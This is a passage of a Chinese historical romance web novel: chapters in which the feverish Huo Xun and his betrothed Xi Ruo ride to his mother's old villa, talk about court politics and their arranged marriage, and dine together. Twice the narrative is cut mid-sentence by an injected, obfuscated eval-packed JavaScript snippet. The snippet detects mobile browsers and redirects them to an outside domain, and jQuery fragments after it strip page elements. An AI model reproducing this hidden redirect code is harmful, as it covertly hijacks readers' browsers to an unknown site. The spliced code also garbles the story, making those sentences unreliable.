霍恂将自己的大氅松开了些,又对她道:“先将斗篷脱了罢。车里热,等下出去扑了风不好。” 他还补充了一句,道:“没人看见,你下车前穿好就是。” 其实这也算不得什么于理不合。息偌实在也是觉得热,便伸手脱了外头的厚斗篷放在一旁,而后看着霍恂道:“你很畏冷吗?” 她已经发现了,他们这两回相见,只要是在室内,炭盆总是生得很旺,如果去了室外,霍恂的衣裳穿得也总比寻常人要厚上许多。 就如这次上车,虽然都是从寒天里走进来,她可以直接脱掉斗篷也不觉寒冷,但是霍恂就不行。 他连大氅的带子都没解开,只是将身前的衣摆往两边别了别,分明是打算还要再穿一穿才脱。 这事并不难发现,也没什么可特意遮掩的。霍恂听见她问,便答道:“我从前身体不好,到了冬日容易生病,越不敢受寒,就越容易受寒。习惯养得久了,就只能如此了。” 息偌露出一种若有所思的神情。 霍恂发现她其实是个心思很活络的姑娘,好的是,在他面前,她其实并不如何多做掩饰,这是一个很好的表现—— 证明她对他的态度并不十分排斥。 他看见她这样的表情,笑道:“你可以放心,我只是易病,倒不至于死得多快,让你刚成婚就要守寡。” 息偌的确是在考虑他多病的身体,但绝对没有想到什么死啊守寡啊的事上。她听见霍恂居然这么冤枉她,立刻道:“你说的!我可没有在想这些!” 霍恂不在意道:“想也没什么,人之常情。你长兄选择让你与我联姻,心里未必没有盘算,若是我早早就病死了,你年纪轻轻带着诰命,又有息家为你托底,将来还好再嫁的。到时候,你想要什么喜欢的郎君没有?” 他甚至还敢提冯晚—— “那位冯郎,如今眼看着是追悔莫及,尚不知是不是真悔了。若到那时,他仍对你念念不忘,你也玩弄他一回,也并无不可。” 他有时候说话真是直白得有些可怕。 他似乎并不觉得和息偌说某些事有多么不合适,虽然有些话听起来十分刺耳,但在他看来,那就是事实真相,息偌既然身在其中,那么也是该听清楚的。 但对息偌来说,虽然这桩婚事在点头时并不算十分的情愿,可是这样的想法却也不在她所思之内。 她会希望万事尽力去往最好的方向走,在没看到结果之前,她不大喜欢听这样的话。 她十分安静地看着霍恂说话,眉心拧出一个很细很细的皱,待他话毕,安静了一会儿,她就转过了头去。 霍恂自然不会迟钝到连她的排斥都感受不到,他看着她的侧脸,无声地微叹,却没有开口多说。 他病还没好,今天还发着烧,如果不是息停当面故意说了那么多话,他本该在家里养病才对。 今天出来折腾了这么久,又在外头吹了很久的风,他觉得头有些疼了。 他没扯旁边的毛毯,就这么靠着身后的软垫,将头仰起抵住车壁,以这种姿势阖上双目养神。 车内瞬间安静了下来,息偌自己盯着墙角地毯的绒边放空,说不上自己在烦什么,就是觉得心里很烦闷,想来想去,就是被霍恂堵的。 就只有他成日里长着一张嘴,却偏偏不说好话,非要气她不可。 她悄悄用余光去瞥,看到霍恂旁若无人地闭目小憩,她就更不舒服了。 息偌暗暗伸出脚,在他鞋边碰了一下。 她碰得很轻,如果他真的已经半睡,那是绝对不该感觉得到的。 但是他在一段短暂的停顿之后,在息偌打算重新转回头的时候,却忽然睁开了眼睛。 他似乎是真的入睡了,睁眼的那瞬间,眼神里还有些蒙蒙,像是在黑白山水之外笼了一层薄雾,晨间山岚一般的景象。 他眨了眨眼睛,那层薄雾又被他驱散。他望向息偌,似有些迟钝地反应过来一般,问道:“怎么了?” 他此时的模样实在和先前区别太大,没有什么锋芒,看得息偌一时都不大好意思用太尖锐直白的言辞说他。 于是嗫嚅了半天,就冒出来一句—— “你很累吗?” 霍恂微微怔了怔,想自己是不是感觉错了,才让她憋出这么一句话来应付他。他微微顿了顿,道:“还好,这几天晚上风大,吵得很,睡不好。” 这两句话听上去真像没话找话。 息偌“哦”了一声,在安静里又坐了一会儿,浅浅纠结了一下,就着未散尽的胆气同他道:“我没想那些事,你把我想得也太坏了。” 霍恂反应了一下,想起前头那些话。死,守寡,改嫁,这些事他的确是想过的,并且很轻松地就抛过去了,他觉得这些对他而言很随意,没有什么不能接受的。 但似乎这里有个无法接受的娇小姐,正在为此闹别扭。 他试图讲道理,道:“给自己盘算未来,不算坏。” 息偌偏着头不理他,口中问道:“为什么非要是你死了呢?咱们就不能好好活着,好好过日子吗?” 好好活着。 真是好听的几个字。 好听到霍恂早在多年以前就不会去想了。 他不动声色地转换话题,故意调笑道:“四娘子,六礼还没走完,你已经想好要与我一起过日子了?” 息偌板着脸打断他的不着调,道:“我也没想这些。” “真是可惜。” 霍恂半真半假地道:“我却有那么几次,想着要和四娘子好好过日子呢。” 息偌斩钉截铁地道:“不可能。” 霍恂笑道:“怎么就不可能?” 息偌道:“想好好过日子的人,谁会成天想着自己死了妻子改嫁?” 得,又绕回去了。 霍恂无奈道:“这也是没法的事。我身体一直比常人多病,将来年寿不永,这是迟早的事。我可以接受,你也做好准备,你心里又不是真的喜欢我,何必放着将来的好日子不过,非要去受罪守寡?” 他看着她那双明亮又漂亮的眼睛,笑问道:“还是说,你心里喜欢我呢?” 息偌冷脸道:“你没睡醒罢?” 霍恂于是真就将眼睛又重新阖上了,又靠了回去,继续养神。 息偌觉得他有一个坏习惯。每一次,他都会用很散漫的口吻说出一件很严肃的事,明明知道她在意,明明看到她认真,他却又闭口不谈,转而用打 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而息偌已经将手收回来了。 她看着他,皱着眉道:“难怪今天一直胡言乱语呢,你怕不是把脑子都烧坏了罢?” 这温度简直烧手。 分明她之前见他的时候,他还一切都好好的,今天这烧起来,也不像是突然的事,否则在小暖阁的时候,他就不会看着那么疲惫。 息偌想了想,有些不可置信道:“你该不会是因为在西市逛街冻病的罢?” 既然她发现了,霍恂也就无所谓费力遮掩了,应声道:“啊,对啊。” 他这么自然,对自己生病的事接受自如,想到他前面说的那些话——他如此了解自己的身体,肯定知道如果自己去西市吹风必然会生病的。 息偌睁大眼睛,问道:“那你还去逛那么久干什么?自己找罪受?” 霍恂不再强撑精力,懒懒地半垂着眼,倚着车壁道:“我着急订婚,不出去转一圈,怎么让人知道你和我在一起了?” 息偌无语道:“这有什么可着急的?” 她长兄都没着急到这个份儿上。难道不应该是她长兄更着急才对吗? 霍恂微微侧首,道:“你是没见过陛下如何催我。” 他连活不长久不肯耽误旁人的话都说出来了,今上一边难过,给他找太医问诊,一边还是没忘给他解决婚姻大事。 真麻烦。 如此观之,连上赶着给他找麻烦的息停都变得有些可亲了。 起码他送过来的,不是一张又一张无趣又趋同的美人画卷,也不是一个又一个妙曼娴雅的美丽姓名,而是一个活生生的息四娘。 息偌听着这话,心里却在想,今上年轻,即位没有多久,正是有宏图壮志的时候。成日里凡能空出半分精力来,都要扑在国事上,连带着她长兄都忙碌非常。 他连自己的婚姻和后嗣都不重视,至今膝下无子,后宫仅有四位妃嫔,哪里像是会有闲情关心旁人婚事的样子。 她希望这是假话。 如果是真话,那就说明今上对霍恂是真的十分重视,那么她长兄的那些担忧,就要更上层楼。 霍恂从她的眼睛里,轻易地读懂了她的心思。 她太单纯,也太聪明了。 他就是有些惋惜—— 怎么讲正事要来闹脾气,想谈情她又这么不开窍? 真愁人。 14. 伸手 息偌心情非常复杂地看着霍恂。 她第无数次觉得,她最初还是想得太轻易了,也将他们之间的问题想得太简单了。 这些积聚了百年也没有得到处理的问题,落在她的眼中,任思虑再深,任霍恂如何坦荡地说给她听,也不过只是冰山一角而已。 那绝不是她孤身一人就可以解决的麻烦。 但她没办法在看到危险的时候不做挣扎,她丝毫不想在上面撞得船毁人亡,仍想要寻求一个帮助,所以她将手伸向了离她最近的那个—— 冰山上向她伸来的枝干。 枝干非常脆弱,看着摇摇欲坠,好像马上就要断了,让她摔得粉身碎骨。 但她还是对着他伸手了,问他道:“你与陛下的关系很好吗?” 枝干非常善解人意,生出令她包含希冀的绿叶,答她道:“应该还是不错的。” 霍恂偏头注视着她,道:“我父亲从前在外征战,先帝不忍我母亲去荒僻之地受苦,便将她留在宁都。我出生时就在宫里,记事起就认识陛下。陛下一向敬重我父母,先太后也一直很是照顾我。总角之谊,纵然去日已远,回忆起来也总是好的。” 任权谋争斗再将人变得如何面目全非,回忆起最开始那些无忧无虑的美好时光,任谁也会留出三分心软的。 这是人之常情,谁也不能幸免。 今上再尊贵,他也是凡人。 息偌听着这话,思忖道:“我长兄也是在小时候就认识陛下的。他也是陪伴着陛下长成的。” 甚至于,在她那段朦朦胧胧已不再清晰的童年回忆里,息停留在宫中陪伴今上的日子好像比留在息家的时间还要更长。 如果不是为着息停和今上的关系亲近到这种程度,息家怎敢将筹码全垒在他的身上,叫他顶到最前去? 霍恂看着天真的她,道:“可你的长兄出身世家,我的母亲却与陛下同姓。这是不一样的。” 那些皇亲可以为了一张龙椅争得你死我活,但他们都拥有同一个姓氏。如果有外姓之徒介入争端,那他们立刻就会站成一排。 轻重缓急,并不难分。 息偌却觉得荒唐极了。手足相残的仍是至亲,生死相随的却是宿敌,哪有这样的道理?她面色纠结地问道:“所以仅凭血缘,就可以决定亲疏和恩罪吗?” 霍恂只道:“匹夫无罪,怀璧其罪。” 世界就是这样不讲道理。因为人心并不无辜。 但是—— 霍恂看着她苦哈哈的脸色,心中仍然觉得,虽然自己已经见惯了这样的黑暗,但它不应该影响到一个无辜女子的心情。 尤其是,在这样的山间美景里,这样愁苦的脸色,不该出现在这样漂亮的一张脸上。 霍恂坐直了身子,向前倾了倾,伸出手去。 他本来想摸摸她的脑袋,来安慰一下这只低落的漂亮鸟儿,但是手伸到半空之中,他又反应过来,他们之间其实还不到这样的地步。 所以他的手只能在半空中换一个动作,转而在她额头上轻轻弹了一下。 他的力气用得不重,她捂着额头往后退了退,皱着眉看他。但这个皱眉,比方才那个皱眉好看多了。 “担心什么?” 他微笑道:“别为了没发生的事担心。谁都没想真正走到那一步去。你说我将你想得坏,你也没将我想得多好。” 息偌忍不住狡辩道:“我哪有?” 霍恂勾了勾唇角,睨着她道:“你是不是一直觉得我是来对付你长兄的?” 息偌被他的直白戳中心思,一时没出声。 霍恂又道:“朝堂上的事,重在权衡。若是一方太盛,一方又太衰,这是早晚要出问题的。但若是你得一些,我也得一些,彼此都各自满意,就能这么维持下去。” 其实这些事,他是不打算同她说太深的。她明白处境就好,非要知道这些打破天真做什么? 可他也是的确没想到她会纠结这样久的时间,与其让她这么翻来覆去地乱想,还不如他多说两句。 他道:“陛下想整饬世家积弊,必然是得大刀阔斧才见成效。你长兄年轻势盛,世家姻亲盘根错节,都要攀扯着他庇护。如此下去,他们君臣之间情谊再深,也是要出龃龉的。与其如此,倒不如放进一个搅局之人,反能寻个新的平衡,是不是?” 所以,他是刀,还是索,全是一念之差。 眼见着,今上与息停还是一条心,所以走的还是一条路,选的还是一条绳。霍恂就是因为清楚这一点,才敢当着今上的面,接过息停递来的信。 偏偏就是这个抛出去的金钩,还傻乎乎地觉得自己迟早要被拉断在两头。 息偌本就是聪慧的女子,纵然有一时想不到的,被这么一提醒,也就想清楚了。 她向后靠了靠,很戒备地看着他,道:“所以我一点都没想错。你们都是恶人,自己盘算好了,把我放在浑水里蹚得一身脏。” 霍恂看着她,明明她表情很严肃,但他就是知道她其实没在真的生气,甚至相反的,她应该还有些放下心来。 所以他很坏地笑道:“我可不是将你放在浑水里的那个。从一开始我不就说过了吗?我没打算过夫妻不睦的日子,也不想为难你什么——你总觉得我在算计你。” 息偌撇脸道:“谁让你与我长兄是死对头?” 霍恂想,这也没错,他的确是和息停打小就互相不对付。 但他口中却道:“听外头那些风言做什么?我幼时住在宁都,也和你长兄认识,不至于到你死我活。” 从前或许不到,可现在满宁都城都看着他们的动作,不到也要被逼到了。 息偌扁嘴道:“我才不相信。你们这些男人的嘴都是巧舌如簧,话说得天花乱坠,其实没一句可信。” 她其实是在说息停。 但是霍恂让人细查过了息偌的旧事,当下便想多了,脸色也淡了淡,道:“少拿我与那姓冯的比。” 他可不是什么出门狎妓回头骗人的不检之辈。 息偌顿了一下,才反应过来,她和冯晚合了又分的那些事,在宁都不是秘密,霍恂也该都知道。 她有些尴尬道:“我提他了没有?你少自己对号入座。” 霍恂见她脸色,也知道是自己反应过度了。他轻咳了一声,道:“我与你说的话都够清楚了吗?那你要不要也与我说清楚。免得我有所误会,将来为难了你,你又要说我乱怪罪你。” “我有什么可说的?” 息偌拧着眉看他,顿了顿,道:“你怎么咳嗽了?不舒服?” 刚才不是一直都没咳嗽吗? 她真是一点都没为了转移话题。但霍恂也并没真的打算过问她的过去。之所以提那话,不过是给自己遮掩罢了。 但这样白得一个关心,倒是不错。 他实话实说,答道:“一直不舒服,今天都好些了。” 息偌道:“那就是因为今日扑了风。” 她目光落在他颈间,见他只穿了氅衣,但没戴围领,露出半截脖颈,自己也没多想,伸手便将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480645|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈上围着的毛领子取了下来,又递到了他的面前。 “你先戴着。我自己嗓子不舒服的时候,只要捂严实了,就能好些。” 霍恂垂眼,见她掌上雪白的一条围领,没什么多的装饰,是个男女戴上都不违和的款式。 他一下没动作,息偌才反应过来不对,手里僵了一下,正要收回,他却又很快地伸出手来将围领拿去,系在了自己颈间,又整理了一下大氅的系带,将自己彻底捂了个密不透风。 “多谢。” 他很自如地道谢。 息偌却有些不自在了,蜷了蜷手指,道:“不必。” 她回过头,装模作样地将窗拉开一些看外头,道:“走到哪里了?赶紧回城去……” 霍恂道:“不回城。说了带你玩儿,咱们去荔溪坪转一转。” 息偌看着外头的山景,惊讶回头的时候还不忘将窗户闭紧。 “你烧得都烫手!不赶紧回去,跑到山里折腾什么?连口热水都没有。” 就因为方才提到马球场,他兴致来了?要去故地重游?大冬日里那地方光秃秃的,有什么可看的? 霍恂无谓道:“反正都病了,且得一阵才好,回去养着也没用。我母亲在荔溪坪跟前给我留了一套小别苑,来都来了,咱们也去瞧瞧呗?” 息偌觉得他也真是太无所谓了,拧眉道:“你回京以后着人打理过这边吗?兴之所至突然去了,看着一片荒芜枯寂的,有什么意思?” 何况还病成这样。 霍恂倒是不惧这些,道:“那岂不是正好吗?反正也是要重新打理的。你去看一看,有什么想要的,都叫雁行记下来,回头再去改。” 息偌有些别扭道:“跟我有什么关系?” 霍恂反问道:“你这么跳脱,不喜欢打马球?按你喜欢的改改,将来你来玩,也好有个住处。” 息偌指尖抠了抠手心,道:“息家在永寿山也有庄子的,我做什么非要住你这里?” 霍恂道:“你家的必然没我那处风景好。再说了,你都住了十几年了,也不腻吗?想换换口味了,我那里也还不错。” 息偌其实真的有点心动了,因为她真的还是挺爱玩的性子。如果因为成了婚,就要变成囿于内院的无聊妇人,那她真的要憋死了。 她装模作样说道:“那就去看看罢。” 霍恂就知道她一定会喜欢,因此笑了一笑。 息偌被他看穿自己的可恶姿态闹得心烦,伸手就去捂他的眼睛,恶狠狠道:“不许看!也不许笑!” 她气呼呼道:“你总笑话我!我在你面前像个演滑稽戏的一样!” “不笑了。” 他拉下嘴角,唇线被刻意抿得平直。 息偌感觉到掌心有睫毛轻轻扫过的感觉,是他闭上了眼睛。 她突然想到,他生病了,他原本是在闭着眼睛休息,是她闹得他起来和她说话的。 但她现在一点也不想关心他。 于是她扯开了一旁的毛毯,不怎么温柔地向上一搭,将他整个人都蒙在了毛毯里头,只在他颈侧的位置空出了一点气口。 霍恂感到自己的眼前突然就彻底地暗了下来,变成了一个很适宜睡觉的环境,舒服得让他不想睁开眼皮。 她那一把泠泠的嗓音在外面很轻地响—— “睡你的觉去罢!不许再闹我了。” 他歪在那里,跟着马车很轻微的摇晃,垂首闻见围领上很淡很淡的香气。 他在这样美妙又静谧的黑暗里很快睡着了。 15. 邀约 息偌每次坐车出门,若是路途长些,就容易犯困。这回山路行去,车内又太过温暖,再加上霍恂入睡没人陪她说话,她很快就闭上了眼睛。 但荔溪坪本就离得不算远,息偌都不知道自己晕乎乎的是睡没睡着,马车就缓缓停了下来。 息偌有些迷迷糊糊的,还倚在那处没动,而下一刻,自己倚着的那东西却动了动。 霍恂的声音从她头顶传过来,唤她道:“醒醒神儿,咱们到了。” 息偌停了半刻,突然弹了起来,眼神也清楚了——她还以为自己靠着车壁呢,怎么靠的是他的肩啊! 她记得自己给他盖了毯子,后来听见他呼吸声渐稳了,却有些沉,知道他是睡熟了憋闷,所以稍微坐过去了一些,伸手将他的毯子掀起来了一点。 然后呢? 然后她是怎么睡到他肩臂上的? 息偌脑子里乱哄哄的,又对上霍恂望过来的眼神,口不择言道:“我方才睡着了!” 她像只炸了毛的猫,看得霍恂发笑,他转了转被她倚过的那边肩臂,道:“我知道啊。” 他又没多说什么。 可是息偌看着他活动肩臂的样子,脸上还是有些羞窘地发烫了。 其实就这么一点路,她那点份量还不至于压得霍恂抬不起手来。只是他睡着的时候手臂只随意搭着,她又是不经意靠上来,所以压得他那处不大舒服。 这也不是什么大事。他稍微活动一下,也就没什么不适了,犯不着特地提一嘴。 但她脸红的样子实在可爱,他故意就是不想说。 他以为她应该会转身下车的,但令人惊讶的是,她在原地纠结了一会儿,居然又靠了过来,主动伸出手落在他肩臂上,指尖微微用力,帮他揉了一揉。 息偌嘴硬道:“我不是有意的。你是个病人,我没想故意欺负你。” 霍恂自己也不活动了,另一只手搭在一边,由着她的动作,笑道:“那是不是以后我们每一次出去,你都要这么给我赔礼?” 将来做了夫妻,同车都是常事,靠靠他肩怎么了? 息偌手指顿了顿,扬手不轻不重地打了他一下,没接这话,自己转过去取大氅穿好,然后敲了敲门边。 雁行和小盼息忍早就在外头等着了。听见里头传来轻响,息忍立刻伸手拉开车门,小盼配合默契地伸出手去,扶住息偌走下马车。 因为车厢里的温度实在太高,息偌又是刚刚睡醒,所以走下去的那一瞬间,息偌就感觉被冷风扑了一身,好在是她的斗篷够厚,又夹着一层挡风的毛皮,这才不至于受凉。 但是冷风扑面的当下,她想到后面还有一个怕冷的。待下车站定了,她侧过身往后一瞧,正看见霍恂拉着自己的大氅又将自己掩了个严实。 别苑门前已有仆从来迎。 这别苑是从前赐给华敬大长公主的,之后又顺着给了霍恂。虽然霍恂去了清都以后就一直空置,但这里始终仍有下人打理,不至于太过荒芜。 只是没有主人,有些冷落罢了。 霍恂突然到来,雁行已经让人去通报过。主事惊讶之下连忙出来相迎,此刻对面一见方才知道,这主事仍是当年华敬大长公主用的那一位。 十余年不曾相见,主事鬓边已经有些发白,眼见着小主子回来了,几乎要淌出泪来。 他对着霍恂说了许久,霍恂脸色虽淡淡,却流露出三分动容。主事抬眼打量他,本是想看看他身体如何、脸色如何,这一看才想到外头冰天雪地,慌忙就要将他往里请。 霍恂站在彼处,先回头对着息偌伸出了手。 息偌原本看见他们主仆相见,正是寒暄的时候,便没上去打扰,安安静静地站在一边。这时候霍恂伸了手,她才往这边走了过来。 主事其实出来时就看见车边有个女子了,原本以他的礼节,是应当招呼的,只不过是看见霍恂实在太过激动,所以一时竟忘了。 此刻看见霍恂这般对待息偌,心中便也有了三分猜测,试探问道:“请恕小人眼拙,这位是……” 霍恂亲自介绍道:“是息家的四娘子。” 主事身在别苑里,不代表宁都城里的消息没听过。他立刻就明白了那些话只怕不是风言而已,这位息娘子将来必然要常至此处。 他立刻恭敬行礼道:“请恕小人失礼了,一时见着侯爷欣喜,竟忘了招呼息娘子。” 霍恂的步伐始终与息偌一致,并肩一同向内走去。 别苑中虽然长久没有主人,但这主事是华敬大长公主身边的老人,即便如此也将别苑中打理得井井有条。 他带着二人往正厅去,一路又简单说起哪处做了简单修整。 霍恂照着久远的儿时记忆,看出了这些区别,但大体仍旧与从前是一样的。 他侧目看向息偌,见息偌正听着主事的话,看向别苑中的陈设景象,便与她道:“这都是十几年前的布置了。你瞧瞧看,有什么地方不喜欢的,与主事说一声,也重新修整一番。” 其实这里是霍恂小时候常来住的,既无大改,他哪里会不记得?主事之所以特地说一遍,主要还是为了给息偌听。 毕竟她是从霍恂的马车上下来的。 这大冷的天,霍恂才回京不久,城中的院子还没转完呢,先带着她来了荔溪坪,怎么看都是个很重视她的样子。 息偌心里却想着,既是十几年前的布置没动过,那必然都是当年华敬大长公主的安排。 她算个什么,哪里比得过亡母在孩子心里的份量?说话归说话,她要真直接改了,那也就太不识趣了。 她摇头道:“这里头处处布置相得益彰,不拘规制,倒有生趣,改了才没意思呢。” 霍恂没多说什么,只余光里看着她一边赏景一边步行的姿态。 主事从前一直侍奉公主,眼力很是毒辣,见霍恂是个纵容息偌的模样,提前便吩咐仆从在内堂安排好,想要引他们过去落座休息。 霍恂走着,认出了这条路,直接道:“不去堂中了,坐着也没意思。我许久没回来,先随便转转。” 其实陈设都没怎么变过,哪里需要特别去转去看?主事知道是为什么,叉手道:“只是冬日里,难免下人有不周之处,余了些树木残败之处,看着不美。” 霍恂道:“四时风物,各有不同,倒也无妨。待开春了,我少不得要多来几回,你提前准备好就是了。” 于是就这么一路看景一路走,又见着个观景的小阁,息偌瞧了一眼,问道:“这个方向,能看到马球场吗?” 她是问主事的,但主事安静着,没有接话。 是霍恂在她身边道:“能看见。到时候给你备个‘千里眼’,你不用到那边去晒太阳,也能看到他们打球的热闹。” 这点真是狠狠地戳在息偌心上了。 息偌幼时,曾被父母带着去玩儿过。那时候息停还没有被繁重的公事压得毫无闲暇,他们几个意气风发的少年郎君在场上打马球的姿态,实在是各有各的好看。 那时候冯晚也在,比起息停,他性格热烈,打球的姿态也就张扬得要命,再穿身艳丽华贵的骑装,流苏啊发带啊都随着长风的吹拂和马蹄的颠簸飘起来,实在是好看得让人转不开眼。 可惜息偌自己是怎么都学不会骑马,既然上不了场,就只能打扮得好看一些压人一头。但那种泥巴地里,她穿得太好看,也是另一种麻烦和不便。 更讨厌的是,郑沁很会骑马。 她穿着骑装扛着球杖来挖苦息偌的时候,息偌心里是真的憋屈。 要不是为了去看冯晚打球,她真是一次都不想来荔溪坪,一次也不想去这马球场。 现在想一想,其实她也真是蠢得可以。冯晚只顾自己在场上玩儿得开心,半分不顾她在场下是不是难熬。 他在场上听着她的声音回头对她招一招手,下来擦汗时与她说两句话,就能哄得她心花怒放…… 真是不值得。 他如果能在意她些……息偌想了想,想不出他该如何做,只想到他不该这样做,于是心中一阵愤懑不平。 霍恂打听过,知道她喜欢看马球赛,原以为这处小阁她应当喜欢的。只是现下看见她这副表情,任自己再蠢也要明白是怎么回事了。 他话锋一转,道:“也不是非要看马球。你转到这边来,天气好的话,能看到山里的飞虹瀑,免得辛苦爬山了。” 息偌的心绪跟着他过来了,问道:“我听说去飞虹瀑的山路不算特别陡峭,骑马也是能去的?” 霍恂没骑马去过,不大了解。主事会意地接上话,道:“整体算是平缓,但有那么几处不大易行,若是马术不佳,需下马走过。” 息偌不至于娇惯到让下人将她抬上去的地步,却也没有那个自己爬上去的力气,于是虽然早就知道那么一处飞虹瀑,却也只是在山下偶然见个分毫,没有完整赏过。 她这些年是打算自己学一学骑马,但若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490113|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是需要马术精湛才能过去,她恐怕一时半会儿也去不了。 真是没意思。 霍恂打量她神色,道:“你若想去,我着人选一匹性情温顺的小马,你就来这里练。等开春了,山间雪化,你想去便能骑马去了。” 息偌摇头拒绝。 她从前也练过骑马,但是如果只是普通仆从在旁边陪着,她心中总是不大信任,恐惧着不敢驾马。 家中的父兄自然是没空陪她的,息忍倒是可以陪她,但他一来是觉得她没什么骑马的必要,二来又总担心她手忙脚乱之下坠马,那受伤绝对不会太轻,所以总是保护太过。 如此,她怎么也都没学成。 在家都学不成,在这里就更不成了。 霍恂道:“你若自己学害怕,我来陪你也行。” 息偌有些惊讶地看向他。 霍恂回望她道:“我如今刚回来,没什么事,仍有空余之时。若是等再晚些,未必能抽出空来。” 但息偌惊讶得不是他到底有没有空,而是—— “你居然会骑马?” 这么一个易生病、身体弱的小侯爷,出门的马车都华贵成那般模样,居然不是娇生惯养长大,而且会骑马? 那不是显得她一直学不会骑马很笨吗? 她想也不想地拒绝道:“我成日里与你往郊外跑像什么样子?” 息偌如此说着,还煞有介事地点点头,瞥了一眼又转过身子道:“我不能太晚回家的。” 所以,看着时间,她也差不多要走了,没多余的时候和他在外头闲逛的。 霍恂点点头,对主事道:“我们也出来大半日了,随意做些简餐来罢。” 主事本是打算叫身边跟随的仆从去,因抬头看了一眼霍恂的脸色,自己主动应声去了,将霍恂和息偌单独留在了此处。 他伸手向后指了个方向,引着她缓步往内堂走去,道:“垫垫肚子再回罢,免得到了家,又要向你长兄告状,说我连顿饭都不叫你吃。” 息偌道:“他也不会因为一顿饭说你什么。” 霍恂随意笑了笑,续上前言,道:“你若想学,稍等一阵也来得及。快则年前,慢则年后,成婚之后,就无妨与我一起了。” 到成婚后,夫妻一同出郊外游玩骑马,谁又能多说什么? 再等过些时候,她学会了骑马,正好开春,山间草木也青了,正方便她出去骑马赏景。 息偌惊讶问道:“那么快?” 他们这些世家子女成婚,六礼走的时间极长,若说是年关就能到婚礼那步,未免也成得太快了些。 霍恂挑眉道:“日子是快了些,但宫中会有人上心准备的,绝对不会亏了你什么。” 息偌道:“我不是怕亏什么。陛下既然紧张你的婚事,必然会下令着人好好操办的,怎么会亏我什么?” 霍恂明白她的想法,又道:“陛下有意让我住到我母亲的公主府去,那处离息家也并不算远。将来你即便与我成婚,要与我住到一处,只要你想,随时都好回息家去看父母,一切都与你婚前是一样的。” 其实怎么能一样? 她的婚姻本来就抱有目的,她像个吉祥物一样被送过去,若是她三天两头地丢下夫君往娘家跑,那像什么话? 即便是普通人家,尚要被旁人乱嚼舌根,更遑论她的娘家与夫家都特殊,这般更是要引人非议的。 息偌随口“哦”了一声,算是应了,但霍恂听在耳中,心里清楚她根本就没有相信。 他也不多作解释,在事情发生之前,一切语言都是无用功。 二人一路并肩行进内堂之中,主事已经提前吩咐仆从准备好了暖炉和熏香,进门之后并未嗅到丝毫的陈旧气息,反而是暖香温柔。 息偌脱去了外头的斗篷也并不觉冷,霍恂原本也只是解开了外袍的带子,但那主事做事极周到,竟然还找了一件尺寸和用料都极合适的外袍来,正好给霍恂换上。 说是简餐,也不会太简,饭食一时没端上来,只有些茶水点心先端进来,给他们在饭前垫垫肚子。 因为等下还要用饭,所以量都算不得多。息偌面前不过两三块梅花饼,又一杯红枣牛乳,但都是她喜欢的口味。 她也是饿了一阵,在外头时天气寒冷,尚不觉得,此刻进了温暖的房间,见着了才觉得饥饿,于是开开心心吃了起来,也没心思多想一回,怎么自己才头回过来,正巧就吃上如此合口味的东西。 16. 用饭 他们也并没有等候太久,息偌将将吃了一块小梅花饼,主事就带着仆从过来,将两荤两素并一道汤摆在了桌案之上。 主事胆大了一回,故意没有重新分案,而是将餐食都放在了他们现下中间摆着的这张桌案之上。 霍恂面无表情地垂眼看着,也没多说什么,还让一旁盛汤的侍女,将盛好的那一碗热汤先放在了息偌面前。 息偌在家和亲近的家人朋友也时常同案而食,但这还是第一次和霍恂一起。 说起来,他们统共也就见了这两回面,他亲近的速度如此之快,倒叫她有些措手不及。 但好在她并不排斥。 不知是巧合,还是底下人得了叮嘱,桌上恰摆了一盘烟熏炙肉,用料十足,风味绝佳,东西虽不是什么名贵的食材,难得这么快就能摆上来,还弥补了她没能在彭家吃上炙肉的遗憾。 息偌夹了一块尝试,味道居然还很不错,一点不像匆忙赶出来的。 霍恂坐在对面,人在安安静静地用饭,但是余光一直盯着对面。她的筷子往炙肉上夹一次,去第二道上夹一次,往炙肉上夹一次,去第三道上夹一次,然后又绕回了炙肉…… 他放下筷子,将炙肉的盘子朝她面前推了推,道:“喜欢就多吃些。” 他们用餐的规矩里是有那么一条,不允许一道菜反复夹上许多次,宫中是为了避免被人忖度喜恶防止下毒,世家里这些风险小些,但多要注意仪态,所以也管得严苛。 但是在自己家里,连口腹之欲都要限制,那也太可怜了些。 更何况,他们在自己家中,也不是不能避免这些风险。 息偌本打算矜持一些的,筷子迟疑了一下,但是转念一想,他既然都看出自己喜欢了,那也没必要故意遮掩了,所以很不客气地连吃了好几口。 但是过了嘴瘾,她倒也很能管住自己。一顿饭要荤素搭配,不可贪食,虽然这顿吃得稍晚了些,但她仍旧控制住了自己用餐的速度,待七分饱腹就停下了筷子。 霍恂与她同时停下,主事又端上了饭后的茶水和水果。待用完了,问过息偌意见,二人又穿上外衣出去闲走消食。 华敬大长公主做女儿时就得天子圣宠,后来做了妹妹,又做了姑姑,始终也没有减弱三分。是以即便是这样一座京郊的别苑,也处处暗藏玄机。 若说方才大致的那一回参观,叫息偌看清了此处有多么别致,这回几步闲走,加上霍恂无意的几句解释,就让她看清了此处有多么昂贵难得。 眼下,华敬大长公主的一切都归于霍恂了,连带着圣上的恩宠一起,也都给了他。 息家并不缺什么好东西,息偌也并不眼红,只是她平日习惯了在饭后浅睡一会儿,今日在外面转了许久有些疲累,此刻饭后看了一会儿,就有些犯困。 于是她对霍恂道:“咱们准备回去罢?” 